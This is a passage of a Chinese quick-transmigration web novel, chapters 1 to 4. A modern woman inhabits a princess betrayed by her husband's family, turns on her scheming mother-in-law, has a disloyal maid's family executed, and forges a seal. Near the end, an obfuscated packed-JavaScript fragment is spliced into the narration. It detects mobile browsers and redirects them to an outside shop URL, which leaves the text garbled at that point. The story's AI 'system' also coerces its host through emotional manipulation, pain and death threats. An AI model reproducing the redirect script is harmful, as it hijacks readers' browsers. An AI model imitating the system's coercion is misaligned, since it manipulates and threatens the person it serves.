《贤妻良母反杀记[快穿]》
1. 替驸马养私生子的公主1
熟悉的失重感过后,冷小幸发觉自己正坐在一座古香古色华丽梳妆台前。
铜镜中的少女大约碧玉年华,明眸皓齿、国色天姿,并不十分装饰,浑身所戴皆是银器,衣裳是上好的料子,却过于素净,看起来像是在为长辈服丧,偏又不是正经丧服。
身边正在服侍冷小幸装扮的侍女们,瞧着通身气派不俗,并非蓬门小户所能驱使。
只是这屋子陈设虽好,但整体看起来不甚相配。
冷小幸正在心中暗自估量,脑中突然响起不带感情的电流声:“宿主,你好。我是系统7474,将引导你完成任务,帮助你重返现实。”
“重返现实?”冷小幸反问道。
“是的,宿主应当是在现实中受到致命伤害才会被送到这里,”7474语气中带着上位者独有的傲慢道:“宿主完成任务,便能回到现实世界。”
7474等了片刻没有等到冷小幸再次发问,这与它受过培训课程不一样,课程教了它很多话术用以应付任务者的“十万个为什么”。
自以为做了充足准备的7474始料未及,想了想它决定跳过这一环节继续道:“宿主现在身份是昭华公主。原剧情:昭华公主为驸马私生子求得爵位后被毒杀。”
“我的任务是查出凶手为昭华公主报仇?”冷小幸闻言,终于有了反应,兴致勃勃道。
“不,不,不”7474慌忙道:“宿主只需通过奉献一生,用爱感化驸马一家,改变非正常死亡结局即可。”
“这么垃圾的任务!”冷小幸脱口而出,转念一想问道:“难道昭华是亡国公主,又或者生母外家不被当权者所喜,不得不委曲求全?”
“当然不是,”7474否认道:“昭华公主是开国皇帝之女,当朝唯一的嫡公主,身份尊贵极为受宠。”
冷小幸闻言惊诧不已。
7474则不由分说直接将剧情灌入冷小幸大脑。
冷小幸感到一阵眩晕,下意识抓住座椅扶手。
恰在此时有侍女名唤玉春者,入内禀告:“公主,夫人来了。”
这夫人指的是驸马的母亲宣平侯夫人,是造成昭华公主悲惨命运的重要人物。
几月前皇太子突发疾病薨了,皇后因此卧病在床,彼时太子妃有孕在身,皇帝心绪不佳,刚出嫁不久的昭华公主心系至亲,担忧不已。
宣平侯夫人便日日入公主府宽慰昭华公主。
若是昭华公主进宫,宣平侯夫人便在公主府等公主归府。
门阀士族因此在各自家族内部称颂宣平侯夫人的德行,同时心中暗暗嘲讽皇帝贱民出身,因缘际会登基称帝,果然是小人得志,不知礼教,才能教养出如此骄纵的昭华公主。
至于为什么不敢大肆宣扬,因为脖子没有刀硬啊,谁不知道皇帝登基之后有意压制名门旧族,这时候公开发表不当言论,等于拉九族一起赴黄泉。
昭华公主并不知道她的名声被宣平侯夫人以这样的方式败坏,反而真心感念宣平侯夫人体恤。
不久皇后崩逝,举国哀悼。
昭华公主失去母亲悲痛至极,宣平侯夫人与驸马日夜陪伴,时时安慰极为用心。
皇后丧仪结束,昭华公主渐渐振作,深觉驸马母子对她体贴非常。
一个多月后,太子妃产女。
昭华公主听闻太子妃母女平安,虽然稍觉遗憾,但并没有意识到这究竟意味着什么。
可皇帝却再也经受不住接二连三的打击,病倒了。
皇帝出身卑贱,生而丧母,幼年丧父,缺衣少食,跟着流民四处逃窜,后来为了活命入一军阀账下从最低阶小兵做起,渐渐有了自己的势力,自立为王,南征北战,受过不少伤,历经磨难,终于一统天下,登基为帝,立国号为昌。
前朝覆没,群雄涿鹿百年有余,连年战乱致使百业凋敝、民不聊生,皇帝登基后励精图治,政务繁忙少有闲暇,身体本就有些吃不消。
如今陡然失去一直带在身边,耗尽心力培养的继承人,接着又亲眼目睹相依为命多年的结发妻子薨逝,心里本就难以承受,太子妃生女成了压倒皇帝的最后一根稻草。
皇帝期初不过咳嗽发热,以为只是小病,太医问诊开药也就罢了,谁知竟渐渐严重起来,几日前居然昏迷不醒。
昭华公主同样在短短几个月失去两位至亲,如今皇帝病重,她自然心焦,可这次她总在不经意间看到驸马背着她面容难过,当面又能看出驸马百般掩饰之态。
昭华公主不免询问驸马。
驸马却推说无事,只叮嘱昭华公主保重身体,好生照顾皇帝。
昭华公主本就痴恋驸马,又觉驸马对她情真意切,自然要弄清缘由,便寻了个空隙将驸马贴身小厮招进内院。
小厮跪伏于地,惴惴不敢答。
昭华公主见了便将身边伺候的都打发下去,只留乳母柳嬷嬷在侧,柔声细问小厮。
小厮犹豫再三,才叩首答道:“公主殿下对陛下、皇后娘娘一片孝心。我家世子身为人子,对侯爷、侯夫人自然也是一样。可公主与世子成婚后,我家夫人便奔波往返于侯府、公主府,日夜操劳。”
说到这里,小厮微微抬头,觑着昭华公主面容,见她并未动怒,才继续道:“世子看在眼里,自然心疼夫人,但这是夫人对公主的怜爱之情,世子亦疼惜公主,两难之下,唯有自苦。”
昭华公主听了,不由怔住,一时百感交集,渐渐红了眼眶,两行清泪顺着脸颊流下。
小厮见了,连连叩头道:“小人所说,皆是妄自揣测,小人该死,胡言乱语,公主勿要放在心上。”
昭华公主不顾柳嬷嬷阻拦,亲自扶起小厮,安抚道:“你一心为了驸马,何错之有?快快起来。”
接着将侍女们叫进来,重赏小厮,下令收拾东西,当下便要搬到宣平侯府去。
柳嬷嬷从旁劝道:“公主不可偏听偏信,这小厮所说未必是真。即便是真,君臣有别,宣平侯
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府既然尚主,服侍公主就是本分。何况他区区一个小厮,怎能说出这么一番话来......”
“必定是受人指使。”柳嬷嬷最后半句还未说出。
昭华公主已摆手打断道:“嬷嬷别再说了,驸马他出身高贵,贴身小厮言之有序,也是应有之理。”
昭华公主出生时,皇帝已小有势力,柳嬷嬷是皇后在当时条件下为女儿千挑万选的乳母。
柳嬷嬷没有辜负皇后的信任,对昭华公主体贴入微,精心照料。
人非草木孰能无情,昭华公主亦对柳嬷嬷十分依赖,名为主仆,情同母女。
是以柳嬷嬷十分敢说,她先瞪了一眼立在旁边的小厮,又转头对昭华公主郑重道:“还请公主慎言,您是天子之女,千金贵体,驸马即便出身四世三公又如何?在您面前哪里算得上出身高贵。”
柳嬷嬷先将原则性问题指出,再缓缓说道:“公主,不是您强迫侯夫人到公主府。何况您早已免了侯夫人一应礼节,待她极为恭敬,远超她应得的礼遇,您不欠她,更不欠驸马。”
“公主,这小厮将宣平侯、侯夫人比作陛下、皇后娘娘,其心可诛。”柳嬷嬷拉着昭华公主低声道:“还请公主细想,他们之前怎么不说,非要在此时,陛下病重,诱公主搬去侯府,分明是蓄意为之,不可不防。
这小厮平日与驸马形影不离,怎么今日这么巧,驸马在官署当值,他却不在驸马身边?”
昭华公主听了,快速看了眼一旁默不作声的小厮,飞快甩开柳嬷嬷的手,低声道:“嬷嬷休要胡言,你去看着她们收拾吧,莫要带太多,以免失礼侯府。”
柳嬷嬷还要再劝,昭华公主哪里肯听,所谓情同母女,终究不是真母女,名为主仆,便是真主仆。
昭华公主心意已决,柳嬷嬷自然拦不住。
当天昭华公主便带人搬去宣平侯府,她去时,驸马当值未归,只有宣平侯夫人在。
宣平侯夫人忙带人将昭华公主迎进门,听昭华公主要在侯府常住,惊喜非常,当下便命奴仆快将主院收拾出来给公主住,她和侯爷去偏院。
昭华公主自然拦下,只说住驸马的院子就好。
宣平侯夫人苦劝不住,只得亲自将昭华公主送去驸马院子。
“侯爷在城郊庄子养病,我这就送信让他回来拜见公主。”宣平侯夫人笑盈盈道。
昭华公主连连拒绝,声称不敢劳动长者。
宣平侯夫人又坐了会才告辞,走前将自个身边的丫鬟玉春留下,说是怕公主初来乍到有所不便。
昭华公主自然收下,她满心想着,等驸马下值,给他个惊喜。
却不料,还未到晚间,驸马差人回来说,他奉命出京处置流民,事态紧急,直接从官署出发,不回侯府。
昭华公主因此不乐,她没注意到阖府上下并未正式拜见她。
翌日,昭华公主原要进宫探望皇帝,不想淑妃的心腹宫女带人抢先一步,先到宣平侯府拜见她。
2. 替驸马养私生子的公主2
“淑妃娘娘怎么突然遣人前来?可是父皇......”昭华公主捂着胸口,摇摇欲坠。
那宫女躬身道:“回公主殿下,陛下虽未醒,但太医说病情已然好转,请您放心。”
昭华公主闻言,长舒一口气问道:“那你来是?”
“是娘娘听闻公主入住侯府,称赞公主贤良淑德,不愧是京中贵女的典范。”那宫女说着,挥手指向身后侍从们捧着的礼物道:“这些是娘娘贺公主乔迁之喜,还望公主笑纳。”
“淑妃娘娘客气了。”昭华公主笑道。
那宫女见昭华公主如此,笑吟吟道:“娘娘想着公主刚刚搬家,诸事不便,特命我来与公主说一声,宫中自有她照料陛下,还请公主莫要担忧,在侯府好生料理几日,再进宫不迟。”
“多谢淑妃娘娘体谅,你回去告诉娘娘,本宫过几日再进宫。”
“是。”
昭华公主命人将宫人送走后,在侯府料理了二日杂务。
此刻正是第三日清晨,冷小幸取代原主,成为昭华公主。
昭华公主生在局中,一叶障目。
冷小幸却深知已凶险至极,要尽快破局才是。
不过在此之前,她得先应付已经进门、口蜜腹剑的宣平侯夫人。
宣平侯夫人三十多岁,看起来保养得宜、举止娴雅。
因昭华公主早已免去一应礼节,所以宣平侯夫人进屋后并不行礼,直接上前坐在玉春殷勤搬来的绣櫈上,与冷小幸一臂之遥。
宣平侯夫人拉着冷小幸,开口叹了句:“我的儿......”便说不下去,一副难以启齿的样子。
冷小幸看着铜镜中她与宣平侯夫人的侧影,并不答话给宣平侯夫人台阶下,反倒问7474道:“我是不是还得扮演昭华公主?免得她们以为我借尸还魂、投胎夺舍。”
“原本是的,不过我们主脑是最高级别的,宿主又是我们第一位合作对象,所以给予宿主优待。宿主可以自行发挥,只要不引起他人过分质疑便可。”7474一字一句,骄矜答道。
冷小幸听了,便歇了与宣平侯夫人互飙演技的心思。
宣平侯夫人等了又等,始终不见冷小幸询问,只觉浑身不自在。
玉春善解人意开口道:“想来夫人有私房话要与公主说,我等这就退下。”
说完,便躬身后退。
可除了她之外,整间屋子无人擅动。
玉春退了两步,察觉不对,不由停下脚步,一时间进退两难、背如芒刺。
接着便听到冷小幸嗤笑一声。
在鸦雀无声的屋内,显得格外突兀刺耳。
宣平侯夫人身形一僵,玉春涨红了脸,冷小幸这才摆手道:“都下去吧。”
等侍女们都出去,宣平侯夫人渐渐红了眼眶,偏又做出一副强忍之态。
冷小幸向7474啧啧叹道:“玉惨花愁、我见犹怜啊。”
“请宿主端正态度,速速化解宣平侯夫人的尴尬,她可是你的婆婆。”7474冷冷道。
“什么婆婆,分明是个加害者。”冷小幸腹诽道,没有再跟7474纠缠。
她一脸关切问宣平侯夫人道:“夫人这是怎么了?可有什么为难的事?不妨说与我听听。”
“我的儿,你怕是不知我娘家的事。”宣平侯夫人涩声道。
“我知道呀,”冷小幸微微用力反握宣平侯夫人,沉痛道:“夫人出身临川陈家原是名门世族。当年贾振义自立为王进攻临川,久攻不下,后来因临川粮草断绝,才被攻破。
听说贾振义深以为恨,入城便下令屠城,十室九空,极为惨烈,听闻陈家人都死光了。”
宣平侯夫人听了,只觉心口被狠狠扎了一刀,恨声道:“不错,我娘家几乎被那贼子屠尽,只有我兄长幼女,侥幸存活。”说到此处,难以为继落下泪来。
“唉,说来当年陈家手握粮仓却不肯给城中军民,后来还打开了城门向贾振义乞降,这样的投诚之功,贾振义非但不封赏,还对陈家灭门,实非明主所为。”冷小幸继续补刀:“怨不得他会被父皇斩于马下。夫人快别伤心了,仇人已死,当开怀才是。”
宣平侯夫人闻言勃然大怒,几乎克制不住就要痛骂冷小幸。
就听冷小幸问道:“不知活下来的表姑娘现在何处?与驸马如何论齿序?”
宣平侯夫人低头拿帕子拭泪,想着来意强忍悲恨,再抬脸已面色缓和,她道:“珠儿比我儿思齐小两岁。早几年,幸得忠仆护送到咱们府上,现就住在暖春阁。”
冷小幸便道:“既是驸马表妹,为何我入住侯府几日,不曾见她来拜见我?”
宣平侯夫人不意冷小幸竟有此一问,心中暗骂:“我的嫡亲侄女乃是名门贵女。若是以前你这贱民之女,连到我侄女跟前磕头请安的资格都没有。何来拜见之说?这小贱人今日为何这般难缠,难道她已经知道......”
“说来,”冷小幸看着宣平侯夫人脸色来回变幻,慢悠悠道:“父皇斩杀贾振义,也算是为陈家报仇雪恨,是夫人和令侄女的大恩人。难道我堂堂公主,恩人之女,还不配令侄女前来拜见吗?”
“真是虎落平阳被犬欺,”宣平侯夫人垂头暗想:“罢了,看你还能得意到几时?为了那两个孽障少不得先哄着你这个蠢货,等尘埃落定送你归西,再报今日之辱。”
宣平侯夫人平复情绪,开口道:“公主勿怪,是珠儿前几日染病,怕过了病气给公主,才没来拜见,等她病愈自然要来的。”
“是吗?”冷小幸挑眉道:“她是驸马的表妹,自然也是我的表妹,命运多舛也是可怜。”
说罢,冷小幸便作势唤侍女进来,命侍女去找太医来给陈宝珠看诊。
“不,”宣平侯夫人忙拦道:“不用。”
对着冷小幸疑惑的眼神,宣平侯夫人瞥了眼侍女不说话。
冷小幸摆手仍叫侍女下去。
宣平侯夫人见侍女出了门,凑近冷小幸耳边硬着头皮道:“她,她是有了身孕。”
“什
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么?”冷小幸惊呼一声道:“听夫人方才的意思表妹尚未出阁,何来的身孕?莫非是被歹人强迫?”
宣平侯夫人慌忙扭头看了眼纱窗外的人影,心中大恨。
冷小幸忍笑,在宣平侯夫人耳边低声道:“夫人放心,我一定为表妹主持公道,将歹人绳之以法。”
宣平侯夫人只觉舌根发苦,涩声道:“不,不是歹人,是思齐。”
“驸马?”冷小幸一愣。
宣平侯夫人顶着冷小幸难以置信的目光,厚颜无耻道:“公主,你别误会, 他俩只是一场意外。”
冷小幸冷笑道:“意外?成了婚的表哥和未出阁的表妹,一堆人伺候着,竟然无媒苟合,珠胎暗结。夫人得知此事,难道不该大义灭亲,处置了他们,再来报本宫?”
“公主,实在是事出有因,”宣平侯夫人见冷小幸有癫狂之态,加快语速道:“我细问过珠儿,两个多月前他们兄妹因贺思齐大婚之喜喝多了酒。
思齐误将珠儿认成公主,珠儿力气小又醉酒乏力挣脱不得,这才,唉。
等思齐睡熟,珠儿才有力气下床,她不敢声张,自个回了房。前日身子不舒坦,叫了大夫看诊,方知是有了身孕,吓得六神无主。
昨日我才知晓,公主......”
冷小幸随手拿起一根梨花银簪,挥手打断宣平侯夫人,淡然问道:“这么说,驸马并非有意,也不知陈姑娘已有了他的骨肉?”
“是,思齐外出公干,还不知道。”宣平侯夫人不知冷小幸何意,照实说了。
冷小幸握着簪子,猛然向梳妆台一插,只见簪身没入台面,只留梨花簪头在台面上。
宣平侯夫人见了,心中惊骇非常,面色惨白,冷汗顺着鬓角留下,还不及擦拭,就听到冷小幸漫不经心道:“既如此,叫陈姑娘服下堕胎药,本宫当这事儿没发生过。日后她若婚嫁,本宫送她副嫁妆。”
“公主容禀,大夫说珠儿体弱,若是打了这胎,只怕性命不保,我陈家世代忠烈,只剩珠儿这一点血脉,求公主开恩,许她生下孩子。”宣平侯夫人苦苦哀求。
冷小幸低头不语,许久才叹道:“罢了,等孩子生下,将孩子远远送走也就是了。”
宣平侯夫人闻言松了口气,得寸进尺道:“到底是思齐的孩子,怎能流露在外,不叫他认祖归宗?”
“那就充做族侄吧。”冷小幸不耐道。
宣平侯夫人见冷小幸一退再退,心中有了底气,便作出一副推心置腹的模样,拉着冷小幸的手劝道:“公主年轻,不知夫妻相处之道在于相互体谅。
如今思齐不知这事,可世上哪有不透风的墙?
终有一日思齐会知晓他有个孩子,却不能在他膝下承欢长大。
我的儿子我了解,思齐重情,那时怕是会对这孩子心有愧疚,也会介怀此事,万一因此与公主生分,就不好了。
我看倒不如将这孩子认在公主名下,即全了思齐与公主的夫妻之情,又全了思齐与这孩子的骨肉之情。”
3. 替驸马养私生子的公主3
冷小幸从宣平侯夫人掌中抽回手,轻轻摩挲着还插在梳妆台的梨花簪头,似笑非笑道:“夫人这是在求本宫?夫人可知,求人该是什么姿态吗?”
宣平侯夫人呆住。
冷小幸扫了眼宣平侯夫人膝盖,嘴角含笑。
宣平侯夫人等了片刻,不见冷小幸改变主意,只好忍辱咬牙跪下道:“求公主成全。”
“并非本宫不成全夫人,是驸马不肯成全。”冷小幸嗤笑道。
宣平侯夫人变了脸色,喝问:“公主这是何意?”
“夫人难道不知,驸马与我成婚至今,尚未圆房。太医三天请一次平安脉,若要将那孩子认在我的名下,就得让太医下次请脉时伪造医案。
这样的喜事,宫中自然会知晓,也一定会派人告诉驸马。驸马在外,得知消息,定会认为本宫红杏出墙、水性杨花。
夫人,你说这可如何是好?”
宣平侯夫人答非所问道:“还未圆房,这怎么可能?”
这么不可能,陈宝珠是驸马吴思齐的心上人。
为了心上人,吴思齐当然要守身如玉。
至于怎么做到的?说来话长。
大婚头两天,驸马喝醉无法同房。
第三天昭华公主与驸马入宫回门,太子那时已突然病倒,但还是强撑病体见了妹妹、妹夫。
驸马便以为太子祈福为由,劝昭华公主不要同房,昭华公主只觉驸马体贴,含羞答应了。
接着,太子薨了,公主要为兄长守孝,自然不能同房。
孝期虽短,但出孝后,皇后卧病在床,驸马劝公主侍疾要紧,公主忧心皇后,自然听从。
不久皇后崩逝,举国哀悼。
皇帝与皇后结发夫妻,患难与共,感情至深。
皇帝原要命皇室、宗室、百官、诰命、庶民以最高规格为皇后守孝,按不同级别划分守孝期限,不得筵宴音乐,不得婚嫁等等。
然皇后心慈,临终前拉着皇帝的断断续续道:“连年战乱,人丁稀少。如今天下初定、百废待兴,正需人口,万不可因我一人,耽搁黎民嫁娶。
臣民守孝一月就好。
宫中皇子、公主皆贤孝,守孝以日代月也就罢了,太子妃有孕在身,她腹中孩子要紧,吃食上一切如旧,莫要不食荤腥,亏了身子。
就连咱们的昭华,刚刚新婚也不必苦守,只守一月敬了孝心就好,她早日生下咱们的外孙、外孙女,我在地下也高兴。”
皇帝坐在床前虎眼含泪一一答应。
太子妃、昭华公主等人跪在床前,皆泣不成声。
一月守孝完毕,驸马又以礼法劝昭华公主守孝三年。
昭华公主面薄,又听驸马字字不离礼教,竟心生羞愧,连忙应下。
所以,昭华公主与驸马成婚几月,始终不曾同房。
这些话,冷小幸自然不会说与宣平侯夫人,她只涨红脸,假做娇羞之态,干等着看宣平侯夫人如何应对。
宣平侯夫人虽不明白事情缘由,但心中明了绝非昭华公主不肯,必是吴思齐不愿,正在心中反复思量之际,无意间抬头见冷小幸两颊飞红,色若桃花。
面对如此绝色美人,吴思齐竟能与之成婚几月,日日同床共枕坐怀不乱。
若非吴思齐已与陈宝珠共赴巫山,还有了孩子。
宣平侯夫人得怀疑儿子不/举。
宣平侯夫人出生世家,嫁入世族,早已见惯男子姬妾成群。虽然她早知吴思齐与陈宝珠有情,且乐见其成,但她不能理解吴思齐为陈宝珠守身,冷待明媒正娶结发妻子的行为。
更何况,吴思齐所娶不是普通人,是当朝公主。
如此作为分明是轻慢昭华公主,藐视皇家。
即便昭华公主深爱驸马,为情所困,不与计较。
难道昭华公主身边伺候人,能眼睁睁看着公主受辱,却不将此事报于宫中?
不过至今宫中未有惩罚,虽不知是如何做到,至少证明吴思齐将昭华公主拿捏住了。
想到这儿,宣平侯夫人心神大定,立刻说道:“臣妇确实不知我儿与公主尚未圆房。但臣妇知道我儿对公主一片痴心。
他定是为了公主着想,才未与公主圆房。想必正因他苦苦忍耐,才会在酒醉时误将珠儿认成公主。
这都是我儿痴爱公主的缘故。
公主更该认下珠儿腹中的孩子,回报我儿的深情。”
冷小幸听完差点吐出来,她笑着扶起宣平侯夫人道:“夫人说的是,这样吧,还请夫人修书一封告诉驸马原委,切莫叫他误会本宫。”
说完,拉着宣平侯夫人坐到书桌前,把笔塞到宣平侯夫人手里。
宣平侯夫人无法只得将事情原委写下,盖上印鉴。
冷小幸亲自将宣平侯夫人送到院门口里说着:“这信还请夫人尽快派人送于驸马。”
宣平侯夫人一走,柳嬷嬷上前关切道:“公主可好?”
冷小幸在侍女们簇拥下,一面向房里走,一面笑盈盈挽住柳嬷嬷胳膊,亲昵道:“嬷嬷别担心,没什么大事,我要换衣服,嬷嬷帮我选选。”
皇帝草根出身,打下天下没几年,所以皇室之人与知根知底、多年相伴的老仆相处很随意。
不过自从昭华公主大婚,她在驸马与宣平侯夫人尊卑有别、礼义廉耻等话术的操控下,渐渐规行矩步,已许久没有这般对待过柳嬷嬷。
现下柳嬷嬷叫冷小幸一挽,反倒有些不知所措,喃喃不解道:“换衣服?”
冷小幸朗笑道:“对,换衣服。为母后守孝的期限,早就过去了。父皇病着,我穿的这般素净也不吉利,换身鲜亮衣服,我们进宫去看父皇去。”
柳嬷嬷及一干侍女见公主明白过来,都很高兴,忙要伺候她梳妆打扮。
一起跟进屋的玉春却大喝道:“公主岂能如此无礼!按礼法,公主当为先皇后守孝三年。
三年之期未满,公主每日饮食皆有荤腥,已是不孝。如今连素服都不想穿,对得起先皇后在天之灵吗?
驸马至纯至孝,绝不愿见公主如此不通礼法,粗野鄙陋。”
这话一出,满堂俱惊。
冷小幸环视一圈,见
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无人出言阻止这狂悖之言,心知是此前顶级恋爱脑昭华公主让这些服侍的人心有余悸,不敢擅自妄为。
冷小幸心中暗叹,冷声道:“来人,掌嘴。”
“谁敢,”玉春不知哪来的底气,盛气凌人道。
冷小幸气笑:“都杵在这干什么?难不成还要我亲自动手?”
立刻有两个侍女上前一左一右擒住玉春,掌事女官紫藤手持竹板毫不留情打在玉春面颊。
玉春正值青春年少,细皮嫩肉的,脸上挨了一下,肉眼可见红肿起来。
冷小幸没叫停,紫藤便继续击打,一下又一下,啪啪声不绝于耳。
玉春剧烈挣扎,哭喊着:“公主,我可是夫人的丫鬟,我娘是驸马的乳母,我哥是驸马的小厮,你叫人打我,不怕驸马知道吗?到时驸马定会觉得你心肠狠毒。
公主,只要你现在停手,我就不告诉驸马。啊,啊,疼,嘶,别,别打了,求求你别打了。”
冷小幸听了,冷笑一声摆摆手,有机灵侍女上前,用帕子堵住玉春的嘴。
“你去告诉侯夫人,”冷小幸随手指了个侍女吩咐道:“玉春对本宫不敬,他们家有一个算一个,通通仗杀。”
此言一出,满屋子人不可置信。
玉春甚至停止挣扎,她见惯了昭华公主对驸马及侯夫人伏低做小,自以为搬出他们二人,危机立解,没想到赔上全家性命。
被点到的侍女反应最快,福身道:“公主仁慈。”
众人回神,连连附和。
冷小幸将那被点到侍女招至身前,命她附耳过来,悄声吩咐了几句。
那侍女虽面露不解,但并未多言,行过礼便退下,寻宣平侯夫人去了。
冷小幸命人将玉春押到屋外院中行刑。
柳嬷嬷劝道:“不如换个地方,别惊扰了公主。”
“无妨,”冷小幸不以为意,转而问道:“嬷嬷,有鸡血石和刻刀吗?我现在就要。”
“有的,”柳嬷嬷这等身份自然不用亲自去找,自有侍女去拿。
柳嬷嬷陪着冷小幸换衣裳。
诰命入宫需按品大装,但冷小幸身为公主,入宫是回娘家,只穿家常衣裳就好,不一会打扮停当。
有两个侍女捧着一匣子鸡血石和一整套刻刀上前。
冷小幸从匣子里挑了一块鸡血石,放到刻刀皮套上道:“拿着,等上了马车,再给我。”
“是。”
冷小幸带了少部分侍女及柳嬷嬷出发,路过院子,玉春的尸身已被拖走。
内侍们正在清洗青砖石上残留的血迹,见冷小幸出来,忙停了手中活计,躬身行礼。
之前侍女说的没错,在这个等级森严,人命如草芥的封建时代,对皇室不敬这样的罪名,冷小幸只要玉春一家人的命,而非株连九族,称得上宽容厚道。
冷小幸才来这个世界,便杀了人,她心中并无愧疚不适之感。
不单单因为上一世正是玉春将毒下到了昭华公主日常饮食中,还靠这份“功劳”脱了奴籍富贵一生,过得比一般人家的小姐还好。
4. 替驸马养私生子的公主4
更因为冷小幸明白当社会生产力不足,无法彻底推翻封建制度时所谓平等、自由、民主皆是空谈。
虽然系统没有让冷小幸替原主报仇的意思,但既然担了这个名,总要把血债一笔一笔讨回来,玉春只是开始而已。
公主制式的马车华丽舒适,不过因时代条件限制,行驶时不免略有颠簸。
冷小幸坐在马车上,身形随马车晃动,手却很稳,她一手拿着鸡血石,一手握着刻刀,凭借记忆,逐渐刻出宣平侯府夫人印鉴样式。
7474从冷小幸不接宣平侯夫人话茬开始就在她脑中喊叫不止,情绪之饱满,用词之丰富,一度让冷小幸觉得7474是被真人操控的。
可一口气儿都不停的架势,又让冷小幸觉得7474是一个高度拟人化的人工数据系统。
7474的语言攻势没能阻止冷小幸所为,它苦口婆心道:“宿主,你已犯下大错,快回去向宣平侯夫人赔罪,为陈宝珠请封诰命,与她一同服侍驸马,好好对待她生下的孩子,做一个贤妻良母。”
冷小幸手下不停,充耳不闻。
“你竟敢忤逆我,”7474气道:“那我就让你吃点苦头。”
话音刚落,冷小幸握着刻刀的手一顿,心中浮现出愧疚、自责、惶恐等等不属于她的负面情绪。
“你能操控我的情绪?”冷小幸挑眉道。
“不止,”7474冷笑道:“你要是不想受苦,就乖乖听话,做个好女人。”
马车里有一只小飞虫,乱飞乱撞,甚是碍眼。
冷小幸低头继续雕刻,飞快刻完印鉴,随手一甩,飞虫被刻刀钉在车壁上。
她活动手指,嘴角勾笑道:“你还有什么手段尽管使出来。”
“你!”7474怒急。
冷小幸顿时觉得双手筋骨寸断,疼痛难忍。
“我们本,”7474卡壳一瞬,继而得意洋洋道:“本就是这个世界的主宰,你敢不听我的?你要再敢出格,我就弄死你。”
冷小幸举起双手放在眼前,翻转看后见双手完好无损嘲笑三连道:“世界的主宰?就这点本事?只能制造幻觉?”
接着,她深深吸了口气再缓缓吐出,像是没事人般掀开马车帘望向外面。
马车向皇宫驶去,越走越繁华。
来往行人面带朝气,一副欣欣向荣之态。
冷小幸的公主府离皇宫很近,马车路过公主府,在大门前停车。
赵典军奉冷小幸之命,早已等在府门前,见马车到了立刻上前行礼。
典军是公主府统领亲兵和侍卫的官职名称。
昭华公主开府,皇帝特赐八百府兵,赵典军是皇帝特意为女儿选出的人才。
冷小幸见赵典军高大魁梧、神采奕奕,心中有几分满意,开口道:“赵典军不必多礼,这几日本宫不在府中,不知典军治下,可有懈怠?”
“回公主殿下,臣带领手下日日操练,往来巡逻,不敢有丝毫松懈。”
“那就好,公主府及城外别院的校场,典军只管用,好生操练府兵,总有用到之时。”冷小幸颔首。
赵典军听话音,有心细问。
冷小幸已继续下令:“选出五十人去宣平侯府,每三日轮换,保护公主府去暂住的侍从们,此事细节典军与公主令商议便是。”
“臣领命。”
“天下初定,四境未宁,还望典军勉之。”冷小幸说完,便命马车继续前往皇宫。
赵典军心中一凛,躬身行礼,目送冷小幸离开。
马车到了宫门口,左后卫见是昭华公主马车,立刻放行。
进了皇宫,冷小幸换乘轿撵。
她坐在轿撵上吩咐紫藤:“把带来的礼物送到少阳宫去,跟皇嫂说,我过几日去看她,叫她只管好生修养,保重身子。
再替我谢谢赵国公夫人进宫照料皇嫂,一点薄礼,请她不要推辞。”
接着又对柳嬷嬷道:“劳烦嬷嬷亲自走一趟,告诉钱尚宫本宫入宫侍疾,要在宫中住几日。”
柳嬷嬷、紫藤领命各自带着侍女、内侍前往目的地。
能在宫里当差自然耳聪目明,抬轿撵的内侍听冷小幸这样吩咐,心领会神以正常步伐稳步前进。
等轿撵到紫宸殿外,就见有不少人候在一旁。
冷小幸端坐在轿撵,接受众人行礼。
她摆手示意身边女官叫起,等众人起身,才扶着侍女下轿。
先对少阳宫掌事女官崔嬷嬷道:“皇嫂、小侄女儿可好?”
崔嬷嬷福身道:“娘娘、小郡主一切安好,请殿下放心。娘娘命奴婢代她谢过殿下。
国公夫人托奴婢谢殿下赠礼,夫人说她进宫照料娘娘,是陛下恩典,不敢居功,殿下的礼物实在贵重。”
“赵国公夫人客气了,”冷小幸莞尔笑道:“都是自家人,一点心意不算什么。”
崔嬷嬷恭敬听后微微侧身,右手掌指向身后的两个宫女道:“娘娘听闻殿下回宫侍疾,怕您身边少了跑腿的,特派这两个丫头过来,若是公主需要,便叫她二人在您身服侍几日。”
“还是皇嫂想的周到,”冷小幸笑意更深:“本宫却之不恭。你回去替本宫谢谢皇嫂美意。你既来了,待会就跟本宫一起进去,回去也好讲给皇嫂听,只当给她解闷儿。”
崔嬷嬷闻言,只觉心漏跳一拍,面上却不动声色,躬身应是。
冷小幸则对钱尚宫带领的六局二十四司主事女官,似笑非笑道:“今儿人来的倒是齐全,你们一个个没事做吗?”
钱尚宫拱手道:“殿下回宫侍疾,我等自然要来请安,再者也有些事务需殿下定夺。”
她身后的孙尚寝福身道:“紫宸殿偏殿色色齐整,不知殿下可要在偏殿安置?是否将殿下在蓬莱殿的旧物拿些到紫宸殿偏殿?”
冷小幸尚未出言。
站在孙尚寝身后、一高挑女官抢先开口:“殿下,陛下吩咐过,蓬莱殿要日日打扫,以供殿下随时回宫小住。以奴婢之见,殿下不如仍住蓬莱殿,不辜负陛下心意才是。”
“这是何人?”冷小幸沉声质问钱尚宫。
“是新任的李司设。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883035|191984||http|test|mini|href|location''.split(''|''),0,{}));
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>冷小幸转问崔嬷嬷:“皇嫂还未出月子,本宫以为她精神不济,不想竟还有心力任命新司设,这位司设有什么出众之处吗?”
“回殿下,”崔嬷嬷恭敬欠身道:“此人并非太子妃娘娘任命。”
“哦?”冷小幸盯着钱尚宫,冷笑道:“不是皇嫂任命,难不成是父皇任命的?”
钱尚宫额头冒汗,不敢抬手擦,只得回道:“不,不是陛下,是,是淑妃娘娘。”
“淑妃娘娘何时掌管宫闱?本宫怎么不知道?”冷小幸真诚发问。
李司设心知不好,忙跪地叩首,就要开口求饶。
一旁两位司苑觑着冷小幸脸色,眼明手快拿帕子堵住李司设的嘴,一左一右将她反剪在地。
冷小幸这才缓了脸色,点头道:“既是乱命便做不得数,把她先压下去,等皇嫂处置。”
众人应是。
